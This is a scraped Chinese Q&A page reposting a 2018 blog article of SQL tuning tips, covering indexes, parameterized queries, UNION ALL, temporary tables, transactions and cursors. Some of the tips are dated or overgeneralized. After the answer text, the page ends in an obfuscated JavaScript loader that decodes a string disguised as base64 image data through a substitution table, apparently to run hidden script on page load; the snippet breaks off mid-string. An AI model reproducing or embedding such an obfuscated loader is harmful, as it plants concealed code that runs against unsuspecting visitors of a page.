推荐回答(3个)
你好,
SQL优化的一些方法
1.对查询进行优化,应尽量避免全表扫描,首先应考虑在 where 及 order by 涉及的列上建立索引。
2.应尽量避免在 where 子句中对字段进行 null 值判断,否则将导致引擎放弃使用索引而进行全表扫描。
3.应尽量避免在 where 子句中使用!=或<>操作符,否则将引擎放弃使用索引而进行全表扫描。
4.应尽量避免在 where 子句中使用 or 来连接条件,否则将导致引擎放弃使用索引而进行全表扫描。
5.in 和 not in 也要慎用,否则会导致全表扫描,
6.下面的查询也将导致全表扫描:
select id from t where name like '%abc%'
7.应尽量避免在 where 子句中对字段进行表达式操作,这将导致引擎放弃使用索引而进行全表扫描。
8.应尽量避免在where子句中对字段进行函数操作,这将导致引擎放弃使用索引而进行全表扫描。
9.不要在 where 子句中的“=”左边进行函数、算术运算或其他表达式运算,否则系统将可能无法正确使用索引。
10.在使用索引字段作为条件时,如果该索引是复合索引,那么必须使用到该索引中的第一个字段作为条件时才能保证系统使用该索引,否则该索引将不会被使用,并且应尽可能的让字段顺序与索引顺序相一致。
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lss0555
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数据库SQL调优的几种方式 原创
2018-07-23
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lss0555 
码龄7年
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在项目中,SQL的调优对项目的性能来讲至关重要,所有掌握常见的SQL调优方式是必不可少的,下面介绍几种常见的SQL的调优方式,供借鉴.
一.创建索引
1.要尽量避免全表扫描,首先应考虑在 where 及 order by 涉及的列上建立索引
2.(1)在经常需要进行检索的字段上创建索引,比如要按照表字段username进行检索,那么就应该在姓名字段上创建索引,如果经常要按照员工部门和员工岗位级别进行检索,那么就应该在员工部门和员工岗位级别这两个字段上创建索引。
(2)创建索引给检索带来的性能提升往往是巨大的,因此在发现检索速度过慢的时候应该首先想到的就是创建索引。
(3)一个表的索引数最好不要超过6个,若太多则应考虑一些不常使用到的列上建的索引是否有 必要。索引并不是越多越好,索引固然可以提高相应的 select 的效率,但同时也降低了 insert 及 update 的效率,因为 insert 或 update 时有可能会重建索引,所以怎样建索引需要慎重考虑,视具体情况而定。
二.避免在索引上使用计算
在where字句中,如果索引列是计算或者函数的一部分,DBMS的优化器将不会使用索引而使用全表查询,函数
属于计算的一种,同时在in和exists中通常情况下使用EXISTS,因为in不走索引
效率低:
select * from user where salary*22>11000(salary是索引列)
1
效率高:
select * from user where salary>11000/22(salary是索引列)
1
三.使用预编译查询
程序中通常是根据用户的输入来动态执行SQL,这时应该尽量使用参数化SQL,这样不仅可以避免SQL注入漏洞
攻击,最重要数据库会对这些参数化SQL进行预编译,这样第一次执行的时候DBMS会为这个SQL语句进行查询优化
并且执行预编译,这样以后再执行这个SQL的时候就直接使用预编译的结果,这样可以大大提高执行的速度。
四.调整Where字句中的连接顺序
DBMS一般采用自下而上的顺序解析where字句,根据这个原理表连接最好写在其他where条件之前,那些可以
过滤掉最大数量记录。
五.尽量将多条SQL语句压缩到一句SQL中
每次执行SQL的时候都要建立网络连接、进行权限校验、进行SQL语句的查询优化、发送执行结果,这个过程
是非常耗时的,因此应该尽量避免过多的执行SQL语句,能够压缩到一句SQL执行的语句就不要用多条来执行。
六.用where字句替换HAVING字句
避免使用HAVING字句,因为HAVING只会在检索出所有记录之后才对结果集进行过滤,而where则是在聚合前
刷选记录,如果能通过where字句限制记录的数目,那就能减少这方面的开销。HAVING中的条件一般用于聚合函数
的过滤,除此之外,应该将条件写在where字句中。
七.使用表的别名
当在SQL语句中连接多个表时,请使用表的别名并把别名前缀于每个列名上。这样就可以减少解析的时间并减
少哪些友列名歧义引起的语法错误。
八.用union all替换union
当SQL语句需要union两个查询结果集合时,即使检索结果中不会有重复的记录,如果使用union这两个结果集
同样会尝试进行合并,然后在输出最终结果前进行排序,因此如果可以判断检索结果中不会有重复的记录时候,应
该用union all,这样效率就会因此得到提高。
九.考虑使用“临时表”暂存中间结果
简化SQL语句的重要方法就是采用临时表暂存中间结果,但是,临时表的好处远远不止这些,将临时结果暂存在临时表,后面的查询就在tempdb中了,这可以避免程序中多次扫描主表,也大大减少了程序执行中“共享锁”阻塞“更新锁”,减少了阻塞,提高了并发性能。
但是也得避免频繁创建和删除临时表,以减少系统表资源的消耗。
十.只在必要的情况下才使用事务begin translation
SQL Server中一句SQL语句默认就是一个事务,在该语句执行完成后也是默认commit的。其实,这就是begin tran的一个最小化的形式,好比在每句语句开头隐含了一个begin tran,结束时隐含了一个commit。
有些情况下,我们需要显式声明begin tran,比如做“插、删、改”操作需要同时修改几个表,要求要么几个表都修改成功,要么都不成功。begin tran 可以起到这样的作用,它可以把若干SQL语句套在一起执行,最后再一起commit。 好处是保证了数据的一致性,但任何事情都不是完美无缺的。Begin tran付出的代价是在提交之前,所有SQL语句锁住的资源都不能释放,直到commit掉。
可见,如果Begin tran套住的SQL语句太多,那数据库的性能就糟糕了。在该大事务提交之前,必然会阻塞别的语句,造成block很多。
Begin tran使用的原则是,在保证数据一致性的前提下,begin tran 套住的SQL语句越少越好!有些情况下可以采用触发器同步数据,不一定要用begin tran。
十一.尽量避免使用游标
尽量避免向客户端返回大数据量,若数据量过大,应该考虑相应需求是否合理。因为游标的效率较差,如果游标操作的数据超过1万行,那么就应该考虑改写。
十二.用varchar/nvarchar 代替 char/nchar
尽可能的使用 varchar/nvarchar 代替 char/nchar ,因为首先变长字段存储空间小,可以节省存储空间,其次对于查询来说,在一个相对较小的字段内搜索效率显然要高些。
不要以为 NULL 不需要空间,比如:char(100) 型,在字段建立时,空间就固定了, 不管是否插入值(NULL也包含在内),都是占用 100个字符的空间的,如果是varchar这样的变长字段, null 不占用空间。
十三.查询select语句优化
1.任何地方都不要使用 select * from t ,用具体的字段列表代替“*”,不要返回用不到的任何字段
2.应尽量避免在 where 子句中对字段进行 null 值判断,否则将导致引擎放弃使用索引而进行全表扫描,
这个如果我没有记错的话,应该是有四种希望对你有所帮助。
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF 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